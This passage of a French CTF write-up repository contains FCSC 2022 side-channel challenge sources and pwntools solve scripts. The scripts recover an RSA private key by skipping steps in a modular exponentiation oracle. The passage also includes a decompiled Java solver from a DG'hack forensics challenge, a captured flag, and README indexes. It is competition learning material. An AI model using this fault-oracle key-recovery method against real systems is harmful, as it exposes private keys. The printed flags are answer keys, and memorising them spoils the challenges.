ans = "" 110 | 111 | for i in range(2 * BITS): 112 | conn.recvuntil("= ") 113 | conn.send(str(msg)+"\n") 114 | conn.recvuntil("= ") 115 | conn.send(str(i)+"\n") 116 | t = int(conn.recvline().decode().strip()) 117 | if t != ref: 118 | ans +="1" 119 | else: 120 | ans += "0" 121 | print(ans) 122 | 123 | d = int(ans, 2) 124 | c = int(conn.recvline().decode().strip()[4:]) 125 | 126 | conn.close() 127 | 128 | m = pow(c, d, n) 129 | 130 | print(bytes.fromhex(hex(m)[2:]).decode()) 131 | ``` 132 | 133 | Notre programme dessine une jolie série de 0 et 1 dans le terminal puis affiche le flag : `FCSC{c78e6725a5056d13b63cc4e8a98f6f6f7c6c091ecf0523377035d8faf203b20d}` 134 | 135 | Le [challenge suivant](../nscns/README.md) est très similaire. 136 | -------------------------------------------------------------------------------- /2022/FCSC/side_channel/nscnm/nscnm.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getStrongPrime, bytes_to_long 2 | 3 | BITS = 512 4 | 5 | def exp_mod_skip_mul(x, y, n, skip = -1): 6 | fmt = f"{{:0{2*BITS}b}}" 7 | exp = fmt.format(y) 8 | 9 | value = 1 10 | for i, e in enumerate(exp): 11 | value *= value 12 | if e == "1": 13 | if skip != i: 14 | value *= x 15 | value %= n 16 | return value 17 | 18 | if __name__ == "__main__": 19 | 20 | p, q = getStrongPrime(BITS), getStrongPrime(BITS) 21 | n = p * q 22 | e = 2 ** 16 + 1 23 | d = pow(e, -1, (p - 1) * (q - 1)) 24 | 25 | print(f"{n = }") 26 | print(f"{e = }") 27 | 28 | try: 29 | for _ in range(2 * BITS + 1): 30 | msg = bytes_to_long(input("msg = ").encode()) 31 | if msg == 0: 32 | break 33 | skip = int(input("skip = ")) 34 | print(exp_mod_skip_mul(msg, d, n, skip)) 35 | except: 36 | print("Please check your inputs.") 37 | exit(0) 38 | 39 | with open("flag.txt", "rb") as fp: 40 | m = bytes_to_long(fp.read()) 41 | c = pow(m, e, n) 42 | print(f"{c = }") 43 | -------------------------------------------------------------------------------- /2022/FCSC/side_channel/nscnm/slide1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/side_channel/nscnm/slide1.png -------------------------------------------------------------------------------- /2022/FCSC/side_channel/nscnm/slide2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/side_channel/nscnm/slide2.png -------------------------------------------------------------------------------- /2022/FCSC/side_channel/nscns/nscns.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, bytes_to_long 2 | 3 | BITS = 256 4 | 5 | def exp_mod_skip_squ(x, y, n, skip = -1): 6 | fmt = f"{{:0{2*BITS}b}}" 7 | exp = fmt.format(y) 8 | 9 | value = 1 10 | for i, e in enumerate(exp): 11 | if skip != i: value *= value 12 | if e == "1": value *= x 13 | value %= n 14 | return value 15 | 16 | if __name__ == "__main__": 17 | 18 | p, q = getPrime(BITS), getPrime(BITS) 19 | n = p * q 20 | e = 2 ** 16 + 1 21 | d = pow(e, -1, (p - 1) * (q - 1)) 22 | 23 | print(f"{n = }") 24 | print(f"{e = }") 25 | 26 | try: 27 | for _ in range(2 * BITS + 1): 28 | msg = bytes_to_long(input("msg = ").encode()) 29 | if msg == 0: 30 | break 31 | skip = int(input("skip = ")) 32 | print(exp_mod_skip_squ(msg, d, n, skip)) 33 | except: 34 | print("Please check your inputs.") 35 | exit(0) 36 | 37 | with open("flag.txt", "rb") as fp: 38 | m = bytes_to_long(fp.read().strip()) 39 | assert m < n 40 | c = pow(m, e, n) 41 | print(f"{c = }") 42 | -------------------------------------------------------------------------------- /2022/FCSC/side_channel/nscns/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import remote 2 | 3 | BITS = 512 4 | 5 | conn = remote("challenges.france-cybersecurity-challenge.fr", 2255) 6 | 7 | n = int(conn.recvline().decode().strip()[4:]) 8 | e = int(conn.recvline().decode().strip()[4:]) 9 | 10 | conn.recvuntil("= ") 11 | 12 | msg = 42 13 | conn.send(str(msg)+"\n") 14 | conn.recvuntil("= ") 15 | conn.send("0\n") 16 | 17 | ref = int(conn.recvline().decode().strip()) 18 | ans = "" 19 | 20 | for i in range(1, 2 * BITS + 1): 21 | conn.recvuntil("= ") 22 | conn.send(str(msg)+"\n") 23 | conn.recvuntil("= ") 24 | conn.send(str(i)+"\n") 25 | t = int(conn.recvline().decode().strip()) 26 | if t != ref: 27 | ans +="1" 28 | else: 29 | ans += "0" 30 | ref = t 31 | print(ans) 32 | 33 | d = int(ans, 2) 34 | c = int(conn.recvline().decode().strip()[4:]) 35 | 36 | conn.close() 37 | 38 | m = pow(c, d, n) 39 | 40 | print(bytes.fromhex(hex(m)[2:]).decode()) 41 | -------------------------------------------------------------------------------- /2022/FCSC/top100_general.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/top100_general.png -------------------------------------------------------------------------------- /2022/FCSC/top100_junior.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/top100_junior.png -------------------------------------------------------------------------------- /2022/FCSC/top3_categories.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/FCSC/top3_categories.png -------------------------------------------------------------------------------- /2022/dghack/README.md: -------------------------------------------------------------------------------- 1 | # DG'hack 2 | 3 | Le DG'hack est un CTF créé par Sysdream pour la DGA dans un but de recrutement. 4 | 5 | 6 | 7 | ## Détection 8 | 9 | - [Piratecraft](./detection/piratecraft/README.md) 10 | 11 | -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/Exploit84686564564857543.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/dghack/detection/piratecraft/Exploit84686564564857543.class -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/Solve.java: -------------------------------------------------------------------------------- 1 | import java.nio.charset.StandardCharsets; 2 | import java.util.Base64; 3 | 4 | // 5 | // Decompiled by Procyon v0.5.36 6 | // 7 | 8 | public class Solve { 9 | public static void main(String[] args) { 10 | final String str = ""; 11 | final int[] array = { 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 119, 61, 61 }; 12 | final int[] array2 = { 73, 121, 65, 116, 73, 67, 48, 103, 76, 83, 65, 116, 73, 67, 48, 103, 73, 70, 100, 70, 84, 69, 78, 80, 84, 85, 85, 103, 83, 85, 52, 103, 85, 48, 104, 70, 84, 69, 119, 103, 76, 83, 65, 116, 73, 67, 48, 103, 76, 83, 65, 116, 73, 67, 48, 103, 73, 119, 61, 61 }; 13 | final int[] array3 = { 73, 121, 65, 116, 73, 67, 48, 103, 81, 85, 120, 77, 73, 70, 108, 80, 86, 86, 73, 103, 81, 49, 86, 67, 82, 86, 77, 103, 81, 86, 74, 70, 73, 69, 74, 70, 84, 69, 57, 79, 82, 121, 66, 85, 84, 121, 66, 86, 85, 121, 65, 116, 73, 67, 48, 103, 73, 119, 61, 61 }; 14 | final int[] array4 = { 73, 121, 65, 116, 76, 83, 65, 107, 83, 71, 70, 106, 97, 50, 86, 107, 88, 50, 74, 53, 88, 51, 86, 117, 97, 71, 70, 119, 99, 72, 107, 117, 89, 50, 57, 116, 99, 71, 86, 48, 97, 88, 82, 118, 99, 105, 53, 106, 98, 50, 48, 103, 76, 83, 48, 103, 73, 119, 61, 61 }; 15 | final int[] array5 = { 73, 121, 66, 69, 82, 48, 104, 66, 81, 48, 116, 55, 78, 68, 69, 120, 88, 49, 107, 119, 86, 88, 74, 102, 81, 49, 85, 52, 77, 122, 86, 102, 78, 72, 73, 122, 88, 122, 103, 122, 77, 84, 66, 79, 78, 108, 56, 51, 77, 70, 57, 86, 78, 88, 48, 103, 73, 119, 61, 61 }; 16 | final int[] array6 = { 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 121, 77, 106, 73, 119, 61, 61 }; 17 | String string = ""; 18 | final int[] array7 = array; 19 | for (int length = array7.length, i = 0; i < length; ++i) { 20 | string += (char)array7[i]; 21 | } 22 | final String string2 = str + new String(Base64.getDecoder().decode(string), StandardCharsets.UTF_8) + "\r\n"; 23 | String string3 = ""; 24 | final int[] array8 = array2; 25 | for (int length2 = array8.length, j = 0; j < length2; ++j) { 26 | string3 += (char)array8[j]; 27 | } 28 | final String string4 = string2 + new String(Base64.getDecoder().decode(string3), StandardCharsets.UTF_8) + "\r\n"; 29 | String string5 = ""; 30 | final int[] array9 = array3; 31 | for (int length3 = array9.length, k = 0; k < length3; ++k) { 32 | string5 += (char)array9[k]; 33 | } 34 | final String string6 = string4 + new String(Base64.getDecoder().decode(string5), StandardCharsets.UTF_8) + "\r\n"; 35 | String string7 = ""; 36 | final int[] array10 = array4; 37 | for (int length4 = array10.length, l = 0; l < length4; ++l) { 38 | string7 += (char)array10[l]; 39 | } 40 | final String string8 = string6 + new String(Base64.getDecoder().decode(string7), StandardCharsets.UTF_8) + "\r\n"; 41 | String string9 = ""; 42 | final int[] array11 = array5; 43 | for (int length5 = array11.length, n = 0; n < length5; ++n) { 44 | string9 += (char)array11[n]; 45 | } 46 | final String string10 = string8 + new String(Base64.getDecoder().decode(string9), StandardCharsets.UTF_8) + "\r\n"; 47 | String string11 = ""; 48 | final int[] array12 = array6; 49 | for (int length6 = array12.length, n2 = 0; n2 < length6; ++n2) { 50 | string11 += (char)array12[n2]; 51 | } 52 | System.out.println(string10 + new String(Base64.getDecoder().decode(string11), StandardCharsets.UTF_8) + "\r\n"); 53 | 54 | 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/cap.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/dghack/detection/piratecraft/cap.pcap -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/image-20221110122739596.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/dghack/detection/piratecraft/image-20221110122739596.png -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/image-20221110124643515.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/dghack/detection/piratecraft/image-20221110124643515.png -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/image-20221110143932122.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/dghack/detection/piratecraft/image-20221110143932122.png -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/image-20221116171431906.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/dghack/detection/piratecraft/image-20221116171431906.png -------------------------------------------------------------------------------- /2022/dghack/detection/piratecraft/poc.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/dghack/detection/piratecraft/poc.pcapng -------------------------------------------------------------------------------- /2022/interiut/README.md: -------------------------------------------------------------------------------- 1 | # CTF InterIUT 2022 2 | 3 | 4 | 5 | [TOC] 6 | 7 | ## Présentation 8 | 9 | Le CTF InterIUT est un CTF organisé tous les ans par les étudiants de l'ENSIBS. Il est ouvert aux étudiants de niveau bac+1 et bac+2. 10 | 11 | J'ai participé aux deux éditions précédentes (avec la team MontSaintMichel) qui avaient lieu en distanciel et cette année l'évènement a lieu en présentiel, à Vannes. 15 équipes de 4 étudiants participent et notre équipe de l'IUT de Caen a remporté la 1ère place ! Les circonstances de la victoire sont assez rocambolesques et détaillées dans [le write-up de CPT56](./forensics/README.md). 12 | 13 | Scoreboard final : 14 | 15 | ![image-20220521185017527](image-20220521185017527.png) 16 | 17 | Et voici la liste des challenges résolus par mon équipe : 18 | 19 | ![image-20220521183334291](image-20220521183334291.png) 20 | 21 | ## Les write-ups ! 22 | 23 | Voici les write-ups de quelques challenges avec peu de solves. N'hésitez pas à me demander si vous voulez que j'en ajoute d'autres. 24 | 25 | ### Forensic 26 | 27 | - [CPT-56](./forensics/README.md) (2 parties) - 997 pts 28 | -------------------------------------------------------------------------------- /2022/interiut/forensics/image-20220515145942879.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/forensics/image-20220515145942879.png -------------------------------------------------------------------------------- /2022/interiut/forensics/image-20220515151720063.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/forensics/image-20220515151720063.png -------------------------------------------------------------------------------- /2022/interiut/forensics/image-20220515152334399.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/forensics/image-20220515152334399.png -------------------------------------------------------------------------------- /2022/interiut/forensics/image-20220515160319964.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/forensics/image-20220515160319964.png -------------------------------------------------------------------------------- /2022/interiut/forensics/image-20220515163851506.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/forensics/image-20220515163851506.png -------------------------------------------------------------------------------- /2022/interiut/forensics/image-20220515174903972.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/forensics/image-20220515174903972.png -------------------------------------------------------------------------------- /2022/interiut/image-20220521183334291.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/image-20220521183334291.png -------------------------------------------------------------------------------- /2022/interiut/image-20220521185017527.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2022/interiut/image-20220521185017527.png -------------------------------------------------------------------------------- /2024/breizhctf/mobile/ownapp/image-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/breizhctf/mobile/ownapp/image-1.png -------------------------------------------------------------------------------- /2024/breizhctf/mobile/ownapp/image-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/breizhctf/mobile/ownapp/image-2.png -------------------------------------------------------------------------------- /2024/breizhctf/mobile/ownapp/image-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/breizhctf/mobile/ownapp/image-3.png -------------------------------------------------------------------------------- /2024/breizhctf/mobile/ownapp/image-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/breizhctf/mobile/ownapp/image-4.png -------------------------------------------------------------------------------- /2024/breizhctf/mobile/ownapp/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/breizhctf/mobile/ownapp/image.png -------------------------------------------------------------------------------- /2024/breizhctf/mobile/ownapp/ownapp.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/breizhctf/mobile/ownapp/ownapp.apk -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215181811526.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215181811526.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215182134323.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215182134323.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215182405766.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215182405766.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215182740124.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215182740124.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215183100123.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215183100123.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215183552789.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215183552789.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215183836783.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215183836783.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215185845638.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215185845638.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215190801010.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215190801010.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215191822053.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215191822053.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215191957427.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215191957427.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215192417004.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215192417004.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215193603387.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215193603387.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215194027198.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215194027198.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215194218975.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215194218975.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215195244276.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215195244276.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215200443817.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215200443817.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215201011315.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215201011315.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215201230387.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215201230387.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215201813864.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215201813864.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215202035230.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215202035230.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215202042977.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215202042977.png -------------------------------------------------------------------------------- /2024/htb_univ/forensics_signaling-victorious/assets/image-20241215203829680.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2024/htb_univ/forensics_signaling-victorious/assets/image-20241215203829680.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Vous trouverez ici mes write-ups (généralement en français) pour différents CTF : 2 | 3 | ## 2020 4 | 5 | - [FCSC](./2020/FCSC/) 6 | - [Hack2G2](./2020/H2G2/) 7 | 8 | 9 | ## 2021 10 | 11 | - [P'Hack CTF](./2021/phack/README.md) 12 | - [FCSC](./2021/FCSC/README.md) 13 | - [ECW](./2021/ECW/README.md) (🇬🇧) 14 | 15 | ## 2022 16 | 17 | - [FCSC](./2022/FCSC/README.md) 18 | - [CTF InterIUT](./2022/interiut/README.md) 19 | 20 | - [DG'hack](./2022/dghack/README.md) 21 | 22 | ## 2024 23 | 24 | - [BreizhCTF : OwnApp](./2024/breizhctf/mobile/ownapp/README.md) 25 | - [HTB University : Signaling Victorious](./2024/htb_univ/forensics_signaling-victorious/README.md) 26 | --------------------------------------------------------------------------------